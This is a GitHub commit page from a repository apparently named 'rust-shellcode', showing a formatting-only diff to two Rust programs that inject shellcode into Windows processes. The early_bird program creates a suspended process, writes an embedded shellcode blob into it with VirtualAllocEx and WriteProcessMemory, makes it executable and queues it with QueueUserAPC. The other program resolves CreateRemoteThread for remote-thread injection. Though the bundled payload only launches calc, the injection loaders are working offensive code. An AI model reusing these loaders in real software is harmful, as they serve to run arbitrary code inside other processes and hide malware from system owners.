8000 update fmt early_bird and create_remote_thread_native · b1nhack/rust-shellcode@f45a7c7 · GitHub
[go: up one dir, main page]

Skip to content

Commit f45a7c7

Browse files
committed
update fmt early_bird and create_remote_thread_native
1 parent dd0411d commit f45a7c7

File tree

2 files changed

+41
-10
lines changed

2 files changed

+41
-10
lines changed

create_remote_thread_native/src/main.rs

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,12 @@ fn main() {
6161
u32,
6262
*mut u32,
6363
) -> isize,
64-
> = kernel32.get(b"CreateRemoteThread\0").expect("no CreateRemoteThread");
64+
> = kernel32
65+
.get(b"CreateRemoteThread\0")
66+
.expect("no CreateRemoteThread");
6567

66-
let close_handle: Symbol<unsafe extern "C" fn(isize) -> u32> = kernel32
67-
.get(b"CloseHandle")
68-
.expect("no CloseHandle");
68+
let close_handle: Symbol<unsafe extern "C" fn(isize) -> u32> =
69+
kernel32.get(b"CloseHandle").expect("no CloseHandle");
6970

7071
let handle = open_process(PROCESS_ALL_ACCESS, 0, pid);
7172

early_bird/src/main.rs

Lines changed: 36 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,8 +5,13 @@ use std::mem::{transmute, zeroed};
55
use std::ptr::{null, null_mut};
66
use windows_sys::Win32::Foundation::{CloseHandle, FALSE, TRUE};
77
use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory;
8-
use windows_sys::Win32::System::Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE, VirtualAllocEx, VirtualProtectEx};
9-
use windows_sys::Win32::System::Threading::{CREATE_SUSPENDED, CreateProcessA, PROCESS_INFORMATION, QueueUserAPC, ResumeThread, STARTF_USESTDHANDLES, STARTUPINFOA};
8+
use windows_sys::Win32::System::Memory::{
9+
VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
10+
};
11+
use windows_sys::Win32::System::Threading::{
12+
CreateProcessA, QueueUserAPC, ResumeThread, CREATE_SUSPENDED, PROCESS_INFORMATION,
13+
STARTF_USESTDHANDLES, STARTUPINFOA,
14+
};
1015

1116
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
1217
static SIZE: usize = SHELLCODE.len();
@@ -22,19 +27,42 @@ fn main() {
2227
si.dwFlags = STARTF_USESTDHANDLES | CREATE_SUSPENDED;
2328
si.wShowWindow = 1;
2429

25-
let res = CreateProcessA(program.as_ptr(), null_mut(), null(), null(), TRUE, CREATE_SUSPENDED, null(), null(), &si, &mut pi);
30+
let res = CreateProcessA(
31+
program.as_ptr(),
32+
null_mut(),
33+
null(),
34+
null(),
35+
TRUE,
36+
CREATE_SUSPENDED,
37+
null(),
38+
null(),
39+
&si,
40+
&mut pi,
41+
);
2642
if res == FALSE {
2743
eprintln!("CreateProcessA failed!");
2844
return;
2945
}
3046

31-
let dest = VirtualAllocEx(pi.hProcess, null(), SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
47+
let dest = VirtualAllocEx(
48+
pi.hProcess,
49+
null(),
50+
SIZE,
51+
MEM_COMMIT | MEM_RESERVE,
52+
PAGE_READWRITE,
53+
);
3254
if dest == null_mut() {
3355
eprintln!("VirtualAllocEx failed!");
3456
return;
3557
}
3658

37-
let res = WriteProcessMemory(pi.hProcess, dest, SHELLCODE.as_ptr() as *const c_void, SIZE, null_mut());
59+
let res = WriteProcessMemory(
60+
pi.hProcess,
61+
dest,
62+
SHELLCODE.as_ptr() as *const c_void,
63+
SIZE,
64+
null_mut(),
65+
);
3866
if res == FALSE {
3967
eprintln!("WriteProcessMemory failed!");
4068
return;
@@ -54,7 +82,9 @@ fn main() {
5482
}
5583
loop {
5684
let res = ResumeThread(pi.hThread);
57-
if res > 0 { break }
85+
if res > 0 {
86+
break;
87+
}
5888
}
5989

6090
CloseHandle(pi.hProcess);

0 commit comments

Comments
 (0)
0